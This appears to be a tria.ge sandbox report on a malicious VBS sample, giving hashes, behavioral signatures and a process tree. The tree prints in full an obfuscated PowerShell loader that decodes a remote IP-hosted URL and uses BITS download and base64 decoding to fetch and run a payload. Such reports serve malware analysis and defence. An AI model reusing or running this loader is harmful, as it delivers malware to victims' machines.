Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
91s -
max time network
121s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
14/02/2024, 05:10
Static task
static1
Behavioral task
behavioral1
Sample
0dd16a7ff7018085b6018965f2b714918716ac6cdcd29a9edde6d2a177b9abe8.vbs
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
0dd16a7ff7018085b6018965f2b714918716ac6cdcd29a9edde6d2a177b9abe8.vbs
Resource
win10v2004-20231222-en
General
-
Target
0dd16a7ff7018085b6018965f2b714918716ac6cdcd29a9edde6d2a177b9abe8.vbs
-
Size
36KB
-
MD5
6fec200ae50301d9e7d4016d8c5bed1c
-
SHA1
056b1e615dab98aeecdc9adaa477d7b7a3d986d6
-
SHA256
0dd16a7ff7018085b6018965f2b714918716ac6cdcd29a9edde6d2a177b9abe8
-
SHA512
3985c6e2c3c87a5f79656ebe0557eed8abf9ca1aef8461390e389ad4bc89a2c4c1b329131a3100585eeee10ae6179aaf64e5b0ab8709e69a00fcd785f34e6177
-
SSDEEP
768:vUJfmkoEm3HXgwCIzBR8qcn7CbwC7cyzul+KaRB0e:cJaE0Q9Izoqce8C7cyzuw/X
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
pid pid_target Process procid_target 3908 1484 WerFault.exe 89 -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 5048 powershell.exe 5048 powershell.exe 1484 powershell.exe 1484 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 5048 powershell.exe Token: SeDebugPrivilege 1484 powershell.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 4648 wrote to memory of 5048 4648 WScript.exe 84 PID 4648 wrote to memory of 5048 4648 WScript.exe 84 PID 5048 wrote to memory of 1280 5048 powershell.exe 86 PID 5048 wrote to memory of 1280 5048 powershell.exe 86 PID 1280 wrote to memory of 4556 1280 cmd.exe 87 PID 1280 wrote to memory of 4556 1280 cmd.exe 87 PID 5048 wrote to memory of 1484 5048 powershell.exe 89 PID 5048 wrote to memory of 1484 5048 powershell.exe 89 PID 5048 wrote to memory of 1484 5048 powershell.exe 89 PID 1484 wrote to memory of 224 1484 powershell.exe 90 PID 1484 wrote to memory of 224 1484 powershell.exe 90 PID 1484 wrote to memory of 224 1484 powershell.exe 90 PID 224 wrote to memory of 3996 224 cmd.exe 91 PID 224 wrote to memory of 3996 224 cmd.exe 91 PID 224 wrote to memory of 3996 224 cmd.exe 91
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0dd16a7ff7018085b6018965f2b714918716ac6cdcd29a9edde6d2a177b9abe8.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4648 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ciphered;function Reaktio ($stik, $Episo, $Takst) {$stik.'Substring'( $Episo, $Takst);}Function Propanes9 ([String]$Pokerishly){For($Rangfors=5; $Rangfors -lt $Pokerishly.Length-$Grnseflade; $Rangfors+=6){$Subte131=Reaktio $Pokerishly $Rangfors $Grnseflade;$Spagn=$Spagn+$Subte131}$Spagn;}$Over = 'tzutil /l';$Monter = (cmd /c $Over);$Monter = [string]$Monter;$RangforsNDICE = $Monter.indexOf('1');$Grnseflade = Reaktio $Monter $RangforsNDICE 1;$Assimilabl220=Propanes9 'LandbhHjesttGaypotBoxbapKvadr:Fjern/Cowbo/Vejsv4Udhal6Armar. Bzer1Pseud8Sotte3Hales.Subli2Embro2Halsu2 Thuj.Predi1Hands9Klapj/saturMunsooa OutvgForelnOvereeSuffl. NaallduksepstudekFravr ';$Spagn01=Propanes9 'InterimegaleCatenxTumme ';$Nippeo = Propanes9 'Capac\Seksus CondySystesPositwStruno TangwAttra6 unde4Flame\ RebuWKursuiSkruenEngrad Slavoyockswbrutts StanPadipooAleipwMicroepluknrflemeSkiganh ToldeIodotlFormalBloms\TrombvUnscr1Topsw.Shaki0Jeble\ Giftp ErotoHenaawLerhoeOsmorrjohansBassehTrilleRemislUnsmilClock.Irrese CootxTungtefldes ';&($Spagn01) (Propanes9 'Chari$ NaboVSigteeShrugsTrindtremonaSpeci2Messk=Heter$KategeRoadwnBrabavtyref:sacbrwArbejienglenTorskdMeseniPapairAlkal ') ;&($Spagn01) (Propanes9 'Ydasu$SkattNIndlei Antep NuntpStapseRebidoExurb=Oilcl$MaddiVReforetranssSelvot RegiaGlorf2Elses+Ridse$DisteNEmissiBoylspPeriopAntibeFiguroDerma ') ;&($Spagn01) (Propanes9 'Insta$BogtrEBeskasSknhepParisaScrumgBehov Lovg=helio Passi(prepr( GlycgAfvaswNonremMetroiBlind oilfw FerniPanesnSnren3 Hait2Seque_OverspCheirrRockroStangc Aaree HoldsAimlesQuadr misop-PaintFEkspe CountPOutqurSljtgo expacDeligeInitisOverss TitaI NykudHeter=Runds$Spine{CuriaPHjemmISpiroDEndte} Mare)Dybde.ChiarCAngiooRelucmWidemm PeniaottetnBackidSportLPolypiTilennDrivgeImpro)Kanar Tupil-HydrosPartipHalvplDrifti DepotDamps Skrdd[ Intrc ReinhbeslaaFilmsrReneg]Decol3Frdse4 fora ');&($Spagn01) (Propanes9 'Berti$DespoRInteretryllg SucciStink Overb= Inex Privc$ LysbESkyttsAccelppediga InocgBelnn[ Slug$AkkliE Svars FordpSpalla AktigUnenv.SammecSalkaoSpirou ForenMusketAmphi-Menta2Centr] Rdbe ');&($Spagn01) (Propanes9 'stoun$VsentFUnpiteSagsks ButttFelthigange=Atlan(PropuTBackseKamersToldstClans-CelluP Prela BesotMonelhUdyde Leah$SammeN DaemidolkhpAerugpKarakeUnikuoAbsol)Islan Overs-DrageAIvithn Lfted Irre Stra(Girli[BispeIAdsprnkienatUdpegP StoltOpporrGaylo]Blind:Rnneb:EgnstsXlskoiCommezBirgieRepub Open-Sensae MineqKommu Stads8Bojar) Skls ') ;if ($Festi) {.$Nippeo $Regi;} else {;$Spagn00=Propanes9 'AflytSRelaptTarmpaHidkar HegntDegen-anskrBTarmeiTammot Frots OverTFlugerPermiaaysesn Sundsblyfrf bagaeBloksrOphth Junk-BordbSStrutoyankeuMolecrSuppocEnentePredi Nepal$ FunkAsenehsAntinsBeggaiModstm JoaniDomspl StrmaTyngdbAnkeslcoiff2Bigam2Media0Bjerg Carli-saurlD YndeeDragosFilret ZaphiFolmanNonfoa expot TrauivarmeoIndflnGulis Knibn$DefinVAfstaeKetchsFalcot ButtaOrigi2Skole ';&($Spagn01) (Propanes9 'Fndri$skampVPersoeNonbesPlanetSpunsaSolce2cambr=Hanga$BevgeeCanton Alsevvikar:KoordaAnodipStrokpExtradmoldaaKimentCardiaWhigg ') ;&($Spagn01) (Propanes9 'OversI ForfmPinscpKntreo Demir arbetResta-BasguMUnforoActindgenanuQuintlEksisepaakl DendrBFarceiVentutBrugss SwanTOutflrLidiaa ForpnUnmassSurrefRedese WillrOffer ') ;$Vesta2=$Vesta2+'\Computeri.San';while (-not $Udletover) {&($Spagn01) (Propanes9 'Rafle$UtricUImpredRumstlNongeeModalt Gramo BindvPatteeHurdlrStart=Indkr(ExterT SatseericssUnsartPrebb-SultaPWaneraSlevltOpteghMaskn Jagir$SportV FebreFastls ObvitNomina Info2 Land)Sigte ') ;&($Spagn01) $Spagn00;&($Spagn01) (Propanes9 'AmmerSMachit SupeaProterGlasstAkryl-cycloSTilsklForhaefibdoeAcrospDegra Gomor5dialo ');}&($Spagn01) (Propanes9 'Alder$LappePFortorLassooSkrumpVelfoaLuketnFatigetaisesKompl Pictu=sunfi TripoGHidhreFjeretCerem-mauthCEndeso VivanTradet MarkeIndern JerntApolo Adstr$TempeV ImpreBearbs MundtAflagaHjfre2Biono ');&($Spagn01) (Propanes9 'Retic$FrakkGGradsaHexacmdeltoaDosshcStere Rott=atten Samm[UninlSToileyNonpos InextMvstieBonehm Slus.FinikCInterokarosn UhelvRevole Unbur OpgatPlast] tilg: Dona:GrundFBuffarHovedoRougemRecipBKaffea Afbas VelyeKryst6Kvali4HaptoSbenzit TilbrChiroipaabenIotacgSkift( forf$UdbetPBarnerTvesyoAndsaptonefaHomilnRedake HoldsDeput)Firef ');&($Spagn01) (Propanes9 'Nonra$BonniS PhotpAktieaPhytogOvermnMedli2Taran Preco=Protr Naest[GableSFructySophisHomestDemageNonflmFirhn. MystTParfaeaadslxStrudtminid.ReallE Recan ConvcCephaoEvoludHavociNonexnAuspig Para] Lall:Guach:ApterABaskeSLedigCafkviIFribaIAfska.SvineGAfkoge posttAmatrSgalopt LintrlaaseiServinTirsdgUneup(Bilko$HulkoGJenfoa NonfmGennea OvercNonro)Archo ');&($Spagn01) (Propanes9 'Maris$LagdeOsulfum KallfSportaLemflvPoseknFodboe Fors= Pisk$LystrS Subap Honoafremsg DyppnNarko2 Frik.TerrasAcrenuHellibAntitsReutit NonprForkoi subpn TohagFinku(Overf3 Bomb2Stibi1Adams8Vngne1Kryds2Svejs, Carg1Cyani9Tacom1Tndrr3Tassi6Skgpe)forgu ');&($Spagn01) $Omfavne;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5048 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "tzutil /l"3⤵
- Suspicious use of WriteProcessMemory
PID:1280 -
C:\Windows\system32\tzutil.exetzutil /l4⤵PID:4556
-
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$ciphered;function Reaktio ($stik, $Episo, $Takst) {$stik.'Substring'( $Episo, $Takst);}Function Propanes9 ([String]$Pokerishly){For($Rangfors=5; $Rangfors -lt $Pokerishly.Length-$Grnseflade; $Rangfors+=6){$Subte131=Reaktio $Pokerishly $Rangfors $Grnseflade;$Spagn=$Spagn+$Subte131}$Spagn;}$Over = 'tzutil /l';$Monter = (cmd /c $Over);$Monter = [string]$Monter;$RangforsNDICE = $Monter.indexOf('1');$Grnseflade = Reaktio $Monter $RangforsNDICE 1;$Assimilabl220=Propanes9 'LandbhHjesttGaypotBoxbapKvadr:Fjern/Cowbo/Vejsv4Udhal6Armar. Bzer1Pseud8Sotte3Hales.Subli2Embro2Halsu2 Thuj.Predi1Hands9Klapj/saturMunsooa OutvgForelnOvereeSuffl. NaallduksepstudekFravr ';$Spagn01=Propanes9 'InterimegaleCatenxTumme ';$Nippeo = Propanes9 'Capac\Seksus CondySystesPositwStruno TangwAttra6 unde4Flame\ RebuWKursuiSkruenEngrad Slavoyockswbrutts StanPadipooAleipwMicroepluknrflemeSkiganh ToldeIodotlFormalBloms\TrombvUnscr1Topsw.Shaki0Jeble\ Giftp ErotoHenaawLerhoeOsmorrjohansBassehTrilleRemislUnsmilClock.Irrese CootxTungtefldes ';&($Spagn01) (Propanes9 'Chari$ NaboVSigteeShrugsTrindtremonaSpeci2Messk=Heter$KategeRoadwnBrabavtyref:sacbrwArbejienglenTorskdMeseniPapairAlkal ') ;&($Spagn01) (Propanes9 'Ydasu$SkattNIndlei Antep NuntpStapseRebidoExurb=Oilcl$MaddiVReforetranssSelvot RegiaGlorf2Elses+Ridse$DisteNEmissiBoylspPeriopAntibeFiguroDerma ') ;&($Spagn01) (Propanes9 'Insta$BogtrEBeskasSknhepParisaScrumgBehov Lovg=helio Passi(prepr( GlycgAfvaswNonremMetroiBlind oilfw FerniPanesnSnren3 Hait2Seque_OverspCheirrRockroStangc Aaree HoldsAimlesQuadr misop-PaintFEkspe CountPOutqurSljtgo expacDeligeInitisOverss TitaI NykudHeter=Runds$Spine{CuriaPHjemmISpiroDEndte} Mare)Dybde.ChiarCAngiooRelucmWidemm PeniaottetnBackidSportLPolypiTilennDrivgeImpro)Kanar Tupil-HydrosPartipHalvplDrifti DepotDamps Skrdd[ Intrc ReinhbeslaaFilmsrReneg]Decol3Frdse4 fora ');&($Spagn01) (Propanes9 'Berti$DespoRInteretryllg SucciStink Overb= Inex Privc$ LysbESkyttsAccelppediga InocgBelnn[ Slug$AkkliE Svars FordpSpalla AktigUnenv.SammecSalkaoSpirou ForenMusketAmphi-Menta2Centr] Rdbe ');&($Spagn01) (Propanes9 'stoun$VsentFUnpiteSagsks ButttFelthigange=Atlan(PropuTBackseKamersToldstClans-CelluP Prela BesotMonelhUdyde Leah$SammeN DaemidolkhpAerugpKarakeUnikuoAbsol)Islan Overs-DrageAIvithn Lfted Irre Stra(Girli[BispeIAdsprnkienatUdpegP StoltOpporrGaylo]Blind:Rnneb:EgnstsXlskoiCommezBirgieRepub Open-Sensae MineqKommu Stads8Bojar) Skls ') ;if ($Festi) {.$Nippeo $Regi;} else {;$Spagn00=Propanes9 'AflytSRelaptTarmpaHidkar HegntDegen-anskrBTarmeiTammot Frots OverTFlugerPermiaaysesn Sundsblyfrf bagaeBloksrOphth Junk-BordbSStrutoyankeuMolecrSuppocEnentePredi Nepal$ FunkAsenehsAntinsBeggaiModstm JoaniDomspl StrmaTyngdbAnkeslcoiff2Bigam2Media0Bjerg Carli-saurlD YndeeDragosFilret ZaphiFolmanNonfoa expot TrauivarmeoIndflnGulis Knibn$DefinVAfstaeKetchsFalcot ButtaOrigi2Skole ';&($Spagn01) (Propanes9 'Fndri$skampVPersoeNonbesPlanetSpunsaSolce2cambr=Hanga$BevgeeCanton Alsevvikar:KoordaAnodipStrokpExtradmoldaaKimentCardiaWhigg ') ;&($Spagn01) (Propanes9 'OversI ForfmPinscpKntreo Demir arbetResta-BasguMUnforoActindgenanuQuintlEksisepaakl DendrBFarceiVentutBrugss SwanTOutflrLidiaa ForpnUnmassSurrefRedese WillrOffer ') ;$Vesta2=$Vesta2+'\Computeri.San';while (-not $Udletover) {&($Spagn01) (Propanes9 'Rafle$UtricUImpredRumstlNongeeModalt Gramo BindvPatteeHurdlrStart=Indkr(ExterT SatseericssUnsartPrebb-SultaPWaneraSlevltOpteghMaskn Jagir$SportV FebreFastls ObvitNomina Info2 Land)Sigte ') ;&($Spagn01) $Spagn00;&($Spagn01) (Propanes9 'AmmerSMachit SupeaProterGlasstAkryl-cycloSTilsklForhaefibdoeAcrospDegra Gomor5dialo ');}&($Spagn01) (Propanes9 'Alder$LappePFortorLassooSkrumpVelfoaLuketnFatigetaisesKompl Pictu=sunfi TripoGHidhreFjeretCerem-mauthCEndeso VivanTradet MarkeIndern JerntApolo Adstr$TempeV ImpreBearbs MundtAflagaHjfre2Biono ');&($Spagn01) (Propanes9 'Retic$FrakkGGradsaHexacmdeltoaDosshcStere Rott=atten Samm[UninlSToileyNonpos InextMvstieBonehm Slus.FinikCInterokarosn UhelvRevole Unbur OpgatPlast] tilg: Dona:GrundFBuffarHovedoRougemRecipBKaffea Afbas VelyeKryst6Kvali4HaptoSbenzit TilbrChiroipaabenIotacgSkift( forf$UdbetPBarnerTvesyoAndsaptonefaHomilnRedake HoldsDeput)Firef ');&($Spagn01) (Propanes9 'Nonra$BonniS PhotpAktieaPhytogOvermnMedli2Taran Preco=Protr Naest[GableSFructySophisHomestDemageNonflmFirhn. MystTParfaeaadslxStrudtminid.ReallE Recan ConvcCephaoEvoludHavociNonexnAuspig Para] Lall:Guach:ApterABaskeSLedigCafkviIFribaIAfska.SvineGAfkoge posttAmatrSgalopt LintrlaaseiServinTirsdgUneup(Bilko$HulkoGJenfoa NonfmGennea OvercNonro)Archo ');&($Spagn01) (Propanes9 'Maris$LagdeOsulfum KallfSportaLemflvPoseknFodboe Fors= Pisk$LystrS Subap Honoafremsg DyppnNarko2 Frik.TerrasAcrenuHellibAntitsReutit NonprForkoi subpn TohagFinku(Overf3 Bomb2Stibi1Adams8Vngne1Kryds2Svejs, Carg1Cyani9Tacom1Tndrr3Tassi6Skgpe)forgu ');&($Spagn01) $Omfavne;}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1484 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "tzutil /l"4⤵
- Suspicious use of WriteProcessMemory
PID:224 -
C:\Windows\SysWOW64\tzutil.exetzutil /l5⤵PID:3996
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1484 -s 26644⤵
- Program crash
PID:3908
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 1484 -ip 14841⤵PID:1908
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82